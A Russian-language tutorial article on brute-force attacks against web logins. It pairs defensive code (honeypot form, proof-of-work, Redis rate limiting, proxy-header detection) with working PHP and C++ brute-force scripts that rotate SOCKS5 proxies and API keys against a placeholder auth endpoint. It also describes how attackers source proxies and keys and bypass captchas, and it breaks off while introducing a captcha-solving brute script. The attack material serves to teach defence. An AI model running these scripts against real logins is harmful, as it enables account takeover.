Что такое брутфорс: принципы работы и ротация IP

Атака методом перебора (Brute Force) — это один из наиболее фундаментальных и опасных векторов взлома веб-приложений, заключающийся в автоматизированном подборе всевозможных комбинаций логинов и паролей до тех пор, пока не будет найден верный ключ доступа.

В современном веб-девелопменте классический подбор по словарю эволюционировал в сложные гибридные техники, такие как Credential Stuffing (использование слитых баз с других сервисов) и Password Spraying (перебор одного популярного пароля по множеству аккаунтов).

Главная цель злоумышленника в любом из этих сценариев — найти слабую точку в аутентификации и получить несанкционированный доступ к учетной записи пользователя или административной панели.

• Также настоятельно рекомендую нашу обширную статью: Безопасная обработка данных форм на PHP и JS

Введение

Брутфорс (Brute Force) — это метод подбора паролей, ключей или других секретных данных путём последовательного перебора всех возможных вариантов, пока не найдётся правильный.

Сам подход старше компьютеров: взломщики сейфов крутили диски механических замков, перебирая комбинации цифр, ещё в XIX веке. В цифровую эпоху первые брутфорс-атаки появились вместе с многопользовательскими системами в 1970-х, когда злоумышленники подбирали пароли к учётным записям на мейнфреймах. Настоящий взрыв интереса случился с распространением интернета и веб-сервисов, где логин и пароль стали главным способом аутентификации. А с ростом вычислительных мощностей, появлением GPU и облачных ферм перебор миллиардов комбинаций за секунду стал реальностью, что породило целую индустрию взлома и защиты.

Основной принцип брутфорса прост: берётся алфавит возможных символов (цифры, буквы, спецзнаки) и генерируются все комбинации заданной длины, каждая проверяется на соответствие искомому значению. Атака гарантированно находит пароль, но время зависит от длины и сложности — увеличение алфавита всего на один символ или длины на единицу может превратить часы в тысячелетия.

На практике чистый перебор используют редко, чаще применяют атаки по словарю (готовые списки популярных паролей), гибридные методы (добавление цифр или замену символов к словарным словам) и маскированный перебор, когда известна часть пароля или его структура.

Защита строится на ограничении числа попыток входа, увеличении задержек, использовании капчи, а главное — на длинных случайных паролях и двухфакторной аутентификации, которые делают брутфорс вычислительно бессмысленным.

Языки программирования для написания брутфорса

Для сложных брутфорсов с интеграцией ИИ-сервисов, ротацией прокси и обходом капч де-факто стандартом стал Python.

Причина не в чистой скорости вычислений, а в экосистеме: асинхронные библиотеки aiohttp и httpx позволяют держать тысячи одновременных соединений через SOCKS5 без блокировок, а готовые обёртки для 2captcha, CapSolver или Anti-Captcha избавляют от ручного парсинга API. Благодаря asyncio и пулу прокси можно выжать максимум из канала, даже когда сеть — узкое место.

Плюс Python идеален для быстрого прототипирования: скрипт на сотню строк уже может перебирать пароли к WordPress через десятки тысяч IP, подставляя решённые капчи. Платные ключи OpenAI или Gemini для распознавания нетипичных капч тоже подключаются парой вызовов requests. Производительность упирается не в язык, а в задержки сети и лимиты сервисов, поэтому GIL здесь не помеха, а для распараллеливания по ядрам берут multiprocessing.

Когда брутфорс упирается в CPU — например, перебор хешей или генерация миллионов мутированных паролей на лету — переходят на Go или Rust.

Go даёт лёгкую многопоточность (горутины), компиляцию в один бинарник и отличную стандартную библиотеку для сети, что упрощает развёртывание ботнета. Rust ещё быстрее и безопаснее, но требует больше кода для той же логики. На C++ пишут редко — разве что узкие места вроде высокоскоростного фаззинга сетевых протоколов или GPU-перебора хешей, но для веб-брутфорса это избыточно.

В реальности хакеры комбинируют: Python для оркестрации и AI-интеграций, а криптоёмкие модули (например, перебор паролей WPA3) выносят на C/Rust. Главный критерий — не язык, а доступность готовых библиотек под задачу и скорость написания надёжного многопоточного кода, поэтому Python и Go сегодня — основа инструментов пентестеров и злоумышленников.

Далее мы будем рассматривать примеры кодов на PHP и иногда на C++, чтобы не усложнять и так длинную статью. Однако имейте ввиду недостатки:

• PHP: нет встроенной асинхронности — многозадачность через curl_multi или pthreads крайне неудобна, а производительность на тысячах SOCKS5-соединений резко падает; экосистема бедна готовыми библиотеками для сервисов распознавания капчи и ротации API-ключей.

• C++: требует в разы больше кода для элементарных вещей (парсинг HTTP, работа с JSON, управление сетевыми соединениями), а асинхронные фреймворки вроде Boost.Asio сложны в отладке и прототипировании; нет значимого сообщества, пишущего инструменты веб-брутфорса.

• Оба проигрывают Python/Go в скорости интеграции платных ИИ-сервисов и гибкости смены прокси/ключей «на лету» из-за отсутствия развитых высокоуровневых библиотек и асинхронных рантаймов «из коробки».

Принципы брутфорса

Одной из основных целей подобных атак традиционно являются веб-формы аутентификации: страницы входа в личный кабинет, административные панели, API-эндпоинты авторизации и другие механизмы проверки учетных данных.

1. Когда пользователь отправляет форму входа, браузер формирует HTTP-запрос (чаще всего POST), содержащий логин, пароль или другие параметры авторизации.
2. Сервер принимает эти данные, проверяет их через систему аутентификации и возвращает результат — успешный вход, отказ или сообщение об ошибке.
3. При отсутствии ограничений на количество попыток автоматизированные инструменты способны выполнять тысячи проверок в короткий промежуток времени, перебирая различные комбинации учетных данных и создавая значительную нагрузку на серверные ресурсы.

Особенно уязвимыми становятся системы, где отсутствуют механизмы контроля частоты запросов, временные задержки между попытками, блокировка подозрительных сессий и дополнительные факторы проверки пользователя. В таком случае даже простые скрипты могут эффективно проверять большие словари паролей или использовать ранее скомпрометированные комбинации из утечек данных.

Рассмотрим несколько подходов, которые имеют место быть:

1. Для автоматизации атак используются программы, которые имитируют работу обычного клиента: формируют HTTP-запросы, передают параметры формы, анализируют ответы сервера и определяют, была ли попытка успешной. Такие инструменты могут работать напрямую через HTTP-клиенты или использовать автоматизацию браузеров, когда требуется взаимодействие с JavaScript, токенами сессии или динамически создаваемыми элементами формы. Однако классическая атака с одного IP-адреса быстро становится заметной.
2. Большинство современных систем защиты способны обнаружить большое количество одинаковых запросов от одного источника и применить блокировку. Поэтому злоумышленники используют распределенную инфраструктуру: прокси-серверы, зараженные устройства, коммерческие сети передачи трафика и другие промежуточные узлы.
3. При использовании больших пулов IP-адресов атака может выглядеть как множество отдельных пользователей, которые выполняют небольшое количество действий каждый. Такой подход усложняет обнаружение простыми правилами, основанными только на IP-адресе. Поэтому современные системы защиты анализируют не только источник запроса, но и совокупность признаков: скорость действий, последовательность переходов, особенности браузера, заголовки HTTP, поведение пользователя и частоту ошибок авторизации.
4. Отдельное направление современных атак связано с использованием автоматизации на базе искусственного интеллекта. ИИ-инструменты могут применяться для анализа открытых данных, создания более точных словарей, поиска закономерностей в утекшей информации и автоматизации отдельных этапов атак. Например, вместо простого перебора случайных паролей злоумышленники могут использовать данные о человеке или организации из открытых источников: имена сотрудников, названия проектов, даты, корпоративные термины и другие сведения. Это позволяет создавать более релевантные наборы вариантов, которые имеют больше шансов совпасть с реальными слабыми паролями.

Также искусственный интеллект может использоваться при обходе некоторых автоматизированных проверок, например при анализе изображений или распознавании сложных элементов интерфейса. При этом большинство современных систем защиты строятся с учетом подобных сценариев и используют многоуровневые механизмы обнаружения.

Эффективная защита от современных атак требует применения концепции эшелонированной защиты (Defense-in-Depth), при которой безопасность обеспечивается несколькими независимыми уровнями. Один механизм не может полностью остановить все варианты атак, поэтому защита должна охватывать клиентскую часть, серверную логику, сетевой уровень и систему мониторинга.

Первым уровнем является правильная организация самой формы и клиентского интерфейса. HTML5 предоставляет инструменты, которые помогают ограничить некорректный ввод и снизить количество примитивных автоматизированных запросов еще до обращения к серверу.

Например:

• Атрибуты minlength и maxlength позволяют задать допустимый диапазон длины вводимых данных и исключить очевидно некорректные значения.
• Параметры autocomplete могут использоваться для управления поведением браузера при работе с полями ввода, однако они не являются полноценной защитой от атак и не заменяют серверную проверку.
• Атрибут spellcheck="false" может применяться для отключения проверки орфографии в чувствительных полях, но его основная задача связана с удобством интерфейса, а не с предотвращением взлома.

Дополнительным методом против простых автоматизированных ботов является использование скрытого поля-ловушки (Honeypot). Принцип работы заключается в том, что поле остается невидимым для обычного пользователя, но присутствует в HTML-коде страницы. Многие простые боты автоматически заполняют все доступные поля формы, поэтому заполненное скрытое поле может служить сигналом о вероятной автоматизации запроса.

При этом надежная система защиты должна опираться не только на элементы HTML-формы. Основные меры принимаются на стороне сервера: ограничение количества попыток входа, временные задержки после ошибок, многофакторная аутентификация, контроль аномальной активности, анализ поведения пользователей и централизованный мониторинг событий безопасности.

Именно сочетание нескольких уровней защиты позволяет противостоять современным брутфорс-атакам, которые давно вышли за рамки простого перебора паролей с одного компьютера.

<!-- Пример HTML5-формы с базовыми атрибутами защиты и Honeypot -->
<form id="loginForm" action="/login.php" method="POST" autocomplete="off">
<!-- CSRF-токен -->
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

<!-- Поле-ловушка (Honeypot), скрытое от реальных пользователей -->
<div style="display:none;" aria-hidden="true">
<input type="text" name="website_trap" tabindex="-1" autocomplete="off">
</div>

<label for="username">Логин:</label>
<input type="text" id="username" name="username" required minlength="4" maxlength="32" spellcheck="false">

<label for="password">Пароль:</label>
<input type="password" id="password" name="password" required minlength="8" maxlength="64">

<!-- Скрытое поле для передачи результатов JS Proof-of-Work -->
<input type="hidden" id="pow_nonce" name="pow_nonce" value="">

<button type="submit" id="submitBtn">Войти</button>
</form>

Вторым рубежом защиты выступает клиентский JavaScript, который берет на себя задачу интерактивной проверки и создания вычислительной нагрузки для атакующего бота (Proof-of-Work).

Используя JS, веб-приложение может требовать от клиента решения математической задачи (например, подбора хеша SHA-256 с заданным префиксом) перед отправкой данных формы. Для обычного пользователя эта операция занимает доли секунды и проходит незаметно, но для скрипта брутфорса, пытающегося сделать миллион запросов, суммарные вычислительные затраты становятся экономически и технически нецелесообразными.

Дополнительно JavaScript позволяет собирать поведенческие метрики: движения курсора мыши, интервалы между нажатиями клавиш и задержки перед кликом по кнопке отправки. Если форма отправляется мгновенно без единого движения мыши или фокуса на полях, JS-скрипт блокирует отправку или добавляет специальный флаг подозрительности.

Также клипборд и события ввода могут контролироваться через JS, запрещая вставку данных из буфера обмена для критических полей, что заставляет скрипты эмулировать реальный ввод и существенно замедляет скорость перебора.

// Пример JS: Вычисление легкого Proof-of-Work перед отправкой формы
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const form = this;
const btn = document.getElementById('submitBtn');
btn.disabled = true;

// Генерация/получение соли для задачи
const salt = "random_salt_from_server";
let nonce = 0;
let hash = "";

// Простейшая проверка Proof-of-Work (ищем хеш, начинающийся с "00")
while (true) {
const msg = salt + nonce;
const msgBuffer = new TextEncoder().encode(msg);
const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
hash = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');

if (hash.startsWith("00")) {
break;
}
nonce++;
}

document.getElementById('pow_nonce').value = nonce;
form.submit();
});

Серверная обработка на PHP 8.5 образует финальный и наиболее надежный щит приложения, способный сдерживать атаки с ротацией IP и ИИ-обходом.

Основу бэкенд-защиты составляет механизм Rate Limiting на базе Redis, который отслеживает частоту обращений не только по IP-адресу, но и по комбинации Hash(IP + User-Agent) и конкретному логину. В случае превышения допустимого порога попыток (например, более 3 ошибок за 5 минут на один аккаунт) PHP 8.5 активирует прогрессивную задержку (usleep / exponential backoff) или временную блокировку учетной записи, независимо от того, с какого нового IP поступает очередной запрос.

На уровне PHP 8.5 крайне важно внедрять строгую валидацию одноразовых CSRF-токенов с ограниченным временем жизни (TTL) и однократным использованием (Single-Use Nonce). Это разрушает возможность повторного применения перехваченных HTTP-пакетов. Кроме того, при обработке авторизации следует использовать криптографически стойкие алгоритмы хеширования паролей (Argon2id или bcrypt) с высоким коэффициентом вычислительной сложности, что делает неэффективным офлайн-перебор базы данных даже в случае её утечки, а также препятствует тайминг-атакам (Timing Attacks) за счет применения функции hash_equals().

<?php
// PHP 8.5: Комплексная обработка формы с защитой от брутфорса
session_start();

$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 1. Проверка Honeypot
if (!empty($_POST['website_trap'] ?? '')) {
// Ответ с ошибкой или тихая заглушка
http_response_code(400);
die("Invalid request.");
}

// 2. Валидация CSRF-токена
$userToken = $_POST['csrf_token'] ?? '';
if (empty($_SESSION['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $userToken)) {
http_response_code(403);
die("CSRF validation failed.");
}

$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
$userIp = $_SERVER['REMOTE_ADDR'];

// 3. Лимитирование попыток по логину (защита при ротации IP)
$loginKey = "rate_limit:login:" . md5(mb_strtolower($username));
$ipKey = "rate_limit:ip:" . $userIp;

$loginAttempts = (int)$redis->get($loginKey);
$ipAttempts = (int)$redis->get($ipKey);

if ($loginAttempts >= 5 || $ipAttempts >= 20) {
// Прогрессивная задержка
usleep(500000); // 0.5 секунды
http_response_code(429);
die("Слишком много неудачных попыток. Учетная запись временно заблокирована.");
}

// 4. Проверка пользователя в БД (пример с PDO и Argon2id)
$stmt = $pdo->prepare("SELECT id, password_hash FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();

if ($user && password_verify($password, $user['password_hash'])) {
// Сброс счетчиков при успешном входе
$redis->del($loginKey);
$redis->del($ipKey);

// Регенерация сессии для защиты от Session Fixation
session_regenerate_id(true);
echo "Авторизация успешна!";
} else {
// Увеличение счетчиков ошибок (окно 15 минут = 900 сек)
$redis->incr($loginKey);
$redis->expire($loginKey, 900);

$redis->incr($ipKey);
$redis->expire($ipKey, 900);

// Искусственная задержка против тайминг-атак
usleep(200000);
echo "Неверный логин или пароль.";
}
}
?>

Защита от современного брутфорса — это постоянная гонка вооружений, где противодействие автоматизации ИИ и ротации IP-адресов невозможно обеспечить лишь одним инструментом.

Только комплексная интеграция строгого HTML5-каркаса, клиентоориентированных проверок на JavaScript и жесткого контроль-уровня на PHP 8.5 с подключением быстрой оперативной памяти Redis создает устойчивую экосистему безопасности.

Такой каскадный подход превращает потенциальный взлом в крайне дорогостоящее и неэффективное занятие для злоумышленников, гарантируя надежную защиту пользовательских данных и стабильность веб-сервера.

Как системы защиты выявляют ротацию IP и прокси

Когда автоматизированные скрипты пытаются скрыть активность с помощью распределенных сетей (Residential/Datacenter Proxies), они создают специфические аномалии на сетевом и прикладном уровнях.

Современные средства защиты (WAF, Anti-Bot) анализируют трафик по нескольким ключевым критериям:

1. HTTP-заголовки и прокси-сигнатуры: Временные прокси или промежуточные узлы часто добавляют или изменяют служебные заголовки (X-Forwarded-For, Via, X-Real-IP).

2. Параметры TLS/JA3 и HTTP/2 Fingerprinting: Дайджест TLS-рукопожатия (используемые шифры, расширения, порядок клиентских пакетов) у скриптов (например, на базе cURL) кардинально отличается от поведения реальных браузеров. Даже если IP-адрес меняется, TLS-отпечаток остается идентичным.

3. Анализ поведенческих паттернов (Behavioral Analysis): Запросы с разных IP-адресов, обращающиеся к одному и тому же ресурсу (например, /login.php) с одинаковой периодичностью или структурой данных, объединяются в единый вектор атаки.

Ниже приведены примеры того, как разработчики и администраторы могут фиксировать попытки применения прокси и нестандартных заголовков на стороне сервера.

Пример на PHP: Выявление прокси-заголовков и аномалий запроса

В PHP для анализа поступающего запроса используется глобальный массив $_SERVER. Проверка наличия заголовков, характерных для прокси-серверов, позволяет маркировать запрос как потенциально подозрительный.

<?php
// Проверка наличия заголовков, передаваемых прокси-серверами
function detectProxyUsage(): bool {
$proxyHeaders = [
'HTTP_VIA',
'HTTP_X_FORWARDED_FOR',
'HTTP_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'HTTP_PROXY_CONNECTION'
];

foreach ($proxyHeaders as $header) {
if (!empty($_SERVER[$header])) {
return true;
}
}

return false;
}

// Извлечение реального IP и проверка структуры
$clientIp = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$isProxy = detectProxyUsage();

if ($isProxy) {
// Логирование события для анализа системой безопасности
error_log("Security Alert: Request via proxy detected from IP: {$clientIp}");
}
?>

Пример на C++: Базовый анализ заголовков сетевого запроса

В высокопроизводительных сетевых сервисах или модулях фильтрации на C++ проверка входящих данных выполняется путем анализа сырых HTTP-заголовков.

#include <iostream>
#include <string>
#include <vector>
#include <algorithm>

// Структура для представления HTTP-запроса
struct HttpRequest {
std::string remoteIp;
std::vector<std::pair<std::string, std::string>> headers;
};

// Функция проверки наличия заголовков прокси
bool isProxyRequest(const HttpRequest& request) {
const std::vector<std::string> targetHeaders = {
"via",
"x-forwarded-for",
"forwarded",
"client-ip"
};

for (const auto& header : request.headers) {
std::string headerName = header.first;
// Приведение к нижнему регистру для регистронезависимого сравнения
std::transform(headerName.begin(), headerName.end(), headerName.begin(), ::tolower);

for (const auto& target : targetHeaders) {
if (headerName == target) {
return true;
}
}
}
return false;
}

int main() {
// Пример входящего запроса
HttpRequest incomingRequest;
incomingRequest.remoteIp = "192.168.1.50";
incomingRequest.headers = {
{"Host", "example.com"},
{"User-Agent", "CustomClient/1.0"},
{"X-Forwarded-For", "203.0.113.195"}
};

if (isProxyRequest(incomingRequest)) {
std::cout << "[Security Log] Potential proxy layer detected from IP: "
<< incomingRequest.remoteIp << std::endl;
} else {
std::cout << "[Info] Direct connection detected." << std::endl;
}

return 0;
}

Концепция брутфорсов и примеры

Разберем теперь более конкретно. Чтобы защититься от проблемы, нужно примерно представлять все это на уровне кода.

• Пул SOCKS5-прокси даёт множество разных IP-адресов. Перед каждым запросом выбирается случайный прокси.

• Пул API-ключей (или токенов) позволяет обходить лимиты «один ключ — N запросов в минуту».

• В сценарии брутфорса на каждый подбираемый пароль отправляется запрос аутентификации с новыми IP и/или ключом, чтобы система защиты не зафиксировала аномалию от одного источника.

1. Пример на PHP (cURL)

Используется стандартное расширение cURL с поддержкой SOCKS5:

<?php
// Ротация IP через SOCKS5 и API-ключей — демонстрация брутфорс-подхода

$proxyList = [
'socks5://user1:pass1@192.168.1.10:1080',
'socks5://user2:pass2@10.0.0.5:1080',
'socks5://203.0.113.42:1080' // без аутентификации
];

$apiKeys = [
'key_alpha123',
'key_beta456',
'key_gamma789'
];

// Список паролей для перебора (учебный пример)
$passwords = ['123456', 'password', 'admin', 'letmein'];

$targetUrl = 'https://api.target.com/auth';

foreach ($passwords as $password) {
// Случайный выбор прокси и ключа
$proxy = $proxyList[array_rand($proxyList)];
$apiKey = $apiKeys[array_rand($apiKeys)];

$ch = curl_init($targetUrl);

// Данные запроса (логин и подбираемый пароль)
$postData = http_build_query([
'username' => 'admin',
'password' => $password
]);

curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_HTTPHEADER => [
'X-API-Key: ' . $apiKey,
'Content-Type: application/x-www-form-urlencoded'
],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,

// Настройка SOCKS5-прокси
CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5,
CURLOPT_PROXY => $proxy,
// Если прокси требует отдельной аутентификации в URL,
// она будет подхвачена, но можно и явно:
// CURLOPT_PROXYUSERPWD => 'user:pass',

// Отключаем проверку SSL для простоты (в реальных атаках часто так)
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Анализ результата (код 200 — успех, 401/403 — неудача)
if ($httpCode == 200) {
echo "[+] Password found: $password (IP: $proxy, Key: $apiKey)\n";
break;
} else {
echo "[-] Tried: $password | HTTP $httpCode\n";
}

// Небольшая задержка для имитации "осторожного" брутфорса
usleep(200000); // 0.2 сек
}
?>

2. Пример на C++ (libcurl)

Тот же алгоритм на C++ с использованием библиотеки libcurl. Требуется установленный libcurl и заголовки:

#include <iostream>
#include <vector>
#include <string>
#include <cstdlib>
#include <ctime>
#include <thread>
#include <chrono>
#include <curl/curl.h>

// Списки прокси и ключей
const std::vector<std::string> proxies = {
"socks5://192.168.1.10:1080",
"socks5://user:pass@10.0.0.5:1080",
"socks5://203.0.113.42:1080"
};

const std::vector<std::string> apiKeys = {
"key_alpha123",
"key_beta456",
"key_gamma789"
};

// Callback для записи ответа (можно анализировать)
size_t writeCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
size_t totalSize = size * nmemb;
output->append((char*)contents, totalSize);
return totalSize;
}

int main() {
std::srand(std::time(nullptr));
curl_global_init(CURL_GLOBAL_ALL);

std::vector<std::string> passwords = {"123456", "password", "admin", "letmein"};
const std::string targetUrl = "https://api.target.com/auth";

for (const auto& password : passwords) {
// Случайный выбор
std::string proxy = proxies[std::rand() % proxies.size()];
std::string apiKey = apiKeys[std::rand() % apiKeys.size()];

CURL* curl = curl_easy_init();
if (!curl) continue;

std::string postData = "username=admin&password=" + password;
std::string responseBody;
long httpCode = 0;

struct curl_slist* headers = nullptr;
headers = curl_slist_append(headers, ("X-API-Key: " + apiKey).c_str());
headers = curl_slist_append(headers, "Content-Type: application/x-www-form-urlencoded");

curl_easy_setopt(curl, CURLOPT_URL, targetUrl.c_str());
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseBody);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);

// SOCKS5 прокси
curl_easy_setopt(curl, CURLOPT_PROXY, proxy.c_str());
curl_easy_setopt(curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
// При необходимости аутентификации через URL она уже внутри строки

// Отключаем проверку SSL (небезопасно)
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);

CURLcode res = curl_easy_perform(curl);
if (res == CURLE_OK) {
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
std::cout << "[-] Tried: " << password << " | HTTP " << httpCode << std::endl;
if (httpCode == 200) {
std::cout << "[+] Password found: " << password
<< " (Proxy: " << proxy << ", Key: " << apiKey << ")" << std::endl;
// Очистка и выход
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
break;
}
} else {
std::cerr << "CURL error: " << curl_easy_strerror(res) << std::endl;
}

curl_slist_free_all(headers);
curl_easy_cleanup(curl);

std::this_thread::sleep_for(std::chrono::milliseconds(200));
}

curl_global_cleanup();
return 0;
}

Компиляция (g++/clang):

g++ -o brute_rotator brute_rotator.cpp -lcurl -std=c++11

Почему это работает для брутфорса ?

Все довольно просто:

1. Разные IP через SOCKS5 не дают системе заблокировать один адрес после N неудачных попыток.

2. Ротация API-ключей обходит ограничения на число запросов в единицу времени, установленные для одного ключа.

3. Комбинация двух методов позволяет вести длительный перебор, маскируя атакующего под легитимных распределённых пользователей.

Эти же принципы используются не только в брутфорсе, но и в веб-скрапинге, DDoS-атаках и других противоправных действиях.

Понимание механик помогает строить более эффективную защиту (например, поведенческий анализ, капчу после смены IP/ключа, лимиты на одновременные сессии).

Разбор подробностей

Опираться будем на примеры кодов, что я набросал выше.

Итак, хакеры применяют код с ротацией IP и API-ключей, чтобы превратить одиночный перебор (брутфорс) в распределённую, трудно обнаруживаемую атаку.

Ниже описан типичный сценарий использования подобных скриптов — от подготовки до реализации, а также объяснено, почему эти техники опасны и как от них защищаться.

1. Зачем нужна ротация: обход классических защит

Любая система защиты от брутфорса опирается на идентификатор источника:

• IP-адрес — после 5–10 неудачных попыток адрес временно блокируется.

• API-ключ / токен — если на один ключ приходится слишком много запросов в минуту, он отключается (rate limiting).

Если менять IP и ключ при каждой попытке, сервер видит:

• Разные IP → блокировка по IP не срабатывает.

• Разные ключи → лимит на ключ не превышается (каждый ключ делает ровно 1 запрос).

Таким образом, очевидно, что злоумышленник может перебрать тысячи паролей без единой блокировки.

2. Подготовка атакующего: откуда берутся прокси и ключи

• Пул SOCKS5-прокси формируется из:

  • публичных бесплатных списков (низкое качество, быстро умирают);

  • платных прокси-сервисов (резидентные/мобильные прокси, выдающие IP реальных устройств, что сильно усложняет детект);

  • собственных ботнетов (заражённые устройства, работающие как прокси).

• Пул API-ключей добывается через:

  • утечки и публичные «дампы»;

  • регистрацию множества аккаунтов разработчика (если сервис бесплатно выдаёт ключи);

  • перехват чужих ключей (фишинг, вредоносное ПО);

  • генерацию временных токенов, если сервис их неограниченно выпускает.

В коде эти пулы представлены массивами:

$proxyList = ['socks5://...', ...];
$apiKeys = ['key1', 'key2', ...];

В реальной атаке списки загружаются из внешних файлов и могут содержать десятки тысяч элементов.

3. Как запускается брутфорс: пошаговая механика

На целевом сервере есть endpoint аутентификации (например, /auth). Злоумышленник имеет:

• список логинов (часто один, украденный или типовой admin);

• словарь паролей (rockyou.txt и подобные).

Алгоритм (на основе примера выше):

1. На каждую попытку берётся случайный прокси и случайный API-ключ.

2. Формируется запрос с парой логин/пароль и ключом в заголовке X-API-Key.

3. Запрос отправляется через SOCKS5-прокси → сервер видит IP прокси.

4. Анализируется HTTP-код или тело ответа:

   • 200 — пароль верный (брутфорс окончен);

   • 401/403 — неверный пароль, продолжается перебор;

   • 429 — слишком много запросов (значит, ключ или IP прокси уже «сгорели», они временно исключаются из пула).

5. Между попытками выдерживается задержка (например, 200 мс), чтобы не вызывать аномалий по таймингу в логах.

Благодаря случайному выбору каждый запрос выглядит как уникальный легитимный пользователь.

4. Особенности использования в реальных атаках

• Многопоточность: один и тот же скрипт запускается в десятках потоков, каждый со своим пулом прокси. Это повышает скорость, не пересекая лимиты по одному IP.

• Обработка ошибок прокси: нерабочий прокси молча пропускается, запрос повторяется с другим.

• Смена User-Agent и других заголовков: чтобы не выделяться, хакер ротирует ещё и User-Agent, Accept-Language, имитируя разные браузеры/устройства.

• Обход капчи: если появляется капча, атака может приостанавливаться, а прокси с этим IP временно помечается как «забанен». В сложных схемах используют сервисы распознавания капчи (анти-капча), подставляя решение в том же потоке.

• Динамическое пополнение пулов: скрипт может самостоятельно парсить новые прокси или запрашивать свежие ключи через уязвимости.

5. Интеграция в популярные инструменты

Те же принципы заложены в инструменты, которыми пользуются пентестеры (и злоумышленники):

• Hydra — поддерживает опцию -M <файл_прокси> для перебора через цепочку прокси.

• Burp Suite Intruder — при наличии плагина или upstream-прокси можно заставить каждый запрос идти через новый SOCKS5.

• Кастомные скрипты на Python/C++/PHP, как в примере, дают максимальную гибкость: можно точно регулировать тайминги, менять не только IP/ключ, но и всю сигнатуру запроса.

6. Чем это опасно и как защищаться

Опасностьв том, что классическая блокировка по IP становится бесполезной, а лимиты на API-ключ легко обходятся, если не привязаны к конкретному пользователю сессии.

Базовые меры защиты:

• Rate limiting по аккаунту, а не по IP или API-ключу (например, не более 5 попыток входа для конкретного username за 15 минут, независимо от IP).

• Привязка сессии к устройству (fingerprinting: canvas, WebGL, HTTP-заголовки) — если IP и ключ меняются, но «отпечаток» браузера один и тот же, это триггер блокировки.

• Обязательная капча после 2-3 неудачных попыток для того же логина.

• Мониторинг аномалий: резкий рост запросов аутентификации с разных IP, но с одинаковыми паттернами (временные интервалы, последовательность паролей).

• Веб-фаерволы (WAF) с поведенческим анализом.

• Использование криптографических доказательств работы (Proof-of-Work) — усложняет автоматические запросы.

Понимание этих механик позволяет выстроить эшелонированную защиту, которую хакерам будет обойти на порядок сложнее, чем просто «в лоб» перебирать пароли с одним IP.

Учебная демонстрация кода брутфорса

Ниже я набросал быстро учебную демонстрацию. В ней вы увидите:

1. Уязвимую форму входа с Google reCAPTCHA v2 (используются общедоступные тестовые ключи Google — капча всегда принимается, это нормально для примера).

2. Скрипт брутфорса на PHP, который:

   • ротирует IP через SOCKS5-прокси,

   • ротирует API-ключи сервиса распознавания капчи (например, 2captcha),

   • для каждой попытки автоматически получает токен reCAPTCHA через ИИ‑сервис и отправляет форму.

Код предназначен исключительно для изучения механик атак. Использовать его против реальных систем без письменного разрешения владельца незаконно. Защита от подобных атак строится на многофакторной аутентификации, поведенческом анализе и лимитах на аккаунт (а не только на IP).

1. Гипотетическая форма входа с reCAPTCHA (login.php):

<?php
// login.php — простая форма с Google reCAPTCHA v2 (тестовые ключи)
$siteKey = '6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI'; // тестовый site key
$secretKey = '6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe'; // тестовый secret key

$message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$recaptchaToken = $_POST['g-recaptcha-response'] ?? '';

// Проверка капчи через Google API
$verifyUrl = 'https://www.google.com/recaptcha/api/siteverify';
$data = [
'secret' => $secretKey,
'response' => $recaptchaToken
];
$options = [
'http' => [
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'content' => http_build_query($data)
]
];
$context = stream_context_create($options);
$result = file_get_contents($verifyUrl, false, $context);
$response = json_decode($result, true);

if ($response['success']) {
// Проверка логина/пароля (демо: admin / secret)
if ($username === 'admin' && $password === 'secret') {
$message = '<p style="color:green">✅ Вход выполнен успешно!</p>';
} else {
$message = '<p style="color:red">❌ Неверный логин или пароль.</p>';
}
} else {
$message = '<p style="color:red">🤖 Капча не пройдена.</p>';
}
}
?>
<!DOCTYPE html>
<html>
<head><title>Login</title></head>
<body>
<h1>Вход в систему</h1>
<?= $message ?>
<form method="post">
<input type="text" name="username" placeholder="Логин" required><br><br>
<input type="password" name="password" placeholder="Пароль" required><br><br>
<div class="g-recaptcha" data-sitekey="<?= $siteKey ?>"></div><br>
<button type="submit">Войти</button>
</form>
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
</body>
</html>

Тестовые ключи всегда возвращают успех, поэтому в реальном проекте их нужно заменить на рабочие.

2. Скрипт брутфорса с ротацией IP и API-ключей капчи (brute.php)

В этом скрипте используются:

• Пул SOCKS5-прокси (замените на свои).

• Пул API-ключей сервиса 2captcha (замените на реальные ключи, полученные на 2captcha.com).

